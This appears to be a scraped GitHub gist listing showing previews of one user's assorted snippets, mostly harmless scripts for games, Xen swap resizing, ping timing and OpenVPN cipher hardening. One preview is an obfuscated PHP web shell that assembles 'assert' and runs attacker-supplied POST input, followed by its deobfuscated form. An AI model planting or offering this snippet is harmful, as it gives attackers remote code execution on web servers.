Domain: example.com
Server Name: elaninwe
Server FQDN: elaninwe.example.com
Our user: aria
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class WLabel(WLabel): | |
| def set_text(self, text): | |
| self.t = text | |
| self.w = len(text) | |
| class WColorLabel(WLabel): | |
| def __init__(self, text, fg=None, bg=-1): | |
| self.c = (fg, bg) if fg else None | |
| super().__init__(text) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| ROBCO Industries (TM) Password Recovery Tool | |
| ---- | |
| Next-generation hacking assistant for your RobCo Pip-Boy 3000. | |
| > Words: seven peace broke small steal agree deity armed store empty codes brink | |
| > | |
| > try: peace (6 matches) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Quake3/UrbanTerror OOB+Netchan protocol implementation. | |
| Powered by boredom, di.fm/hardcore, and my secret love for Carmack. | |
| """ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| """ | |
| mostly-hot-resize a swap device from a Xen VM. | |
| (Py 2/3) | |
| usage: | |
| vm # swapoff -a | |
| host# ./reswap.py /etc/xen/vmname.cfg xvda1 1g | |
| vm # swapon -a |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function perf_ping(host, callback, start) { | |
| if (start == undefined) { | |
| var perfEntries = performance.getEntries(); | |
| // use the last perf entry to ignore any request preceding | |
| // this ping() call | |
| start = 0; | |
| for (var i = 0; i < perfEntries.length; i++) { | |
| if (start < perfEntries[i].startTime) { | |
| start = perfEntries[i].startTime; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Completer: | |
| def __init__(self, commands): | |
| self.commands = commands | |
| self.completed = None | |
| for name, c in self.commands.items(): | |
| c._comp_positionals = len([a for a in c.parser._actions | |
| if not a.option_strings]) | |
| def complete_cmd(self, command_name, argv): |
Hi there,
Yes! This little code snippet will improve drasticaly the strength of your OpenVPN connection while keeping very good performances. You just have to add the code available below at the end of you configuration file.
- It may not work everywhere. @Korben (Twitter) got a problem because his server didn't support ECDHE, if you can't use this configuration then try to change ECDHE by DHE in the tls-cipher parameters. It should works but it will consume more battery if you are on a mobile/laptop because it will not use Elliptic curves to make the handshake.
- You should check if your processor have AES-NI instructions. If yes then the key generation / exchange should be protected from SPA (Simple Power Analysis) and DPA (Differencial Power Analysis) attacks and AES will be a lot faster.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; | |
| @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; | |
| @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} | |
| [/*-/*-*/1/*-/*-*//*-/*-*//*-/*-*//*-/*-*//*-/*-*/]); | |
| ?> | |
| Removed comments: | |
| <?php | |
| @$_="s"."s"."e"."r"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/zsh | |
| size="$1" | |
| input="../wallpapers/" | |
| output="./wallpapers_$size/" | |
| mkdir -p $output | |
| walls_count=$(ls -1 $input | wc -l) | |
| count=0 |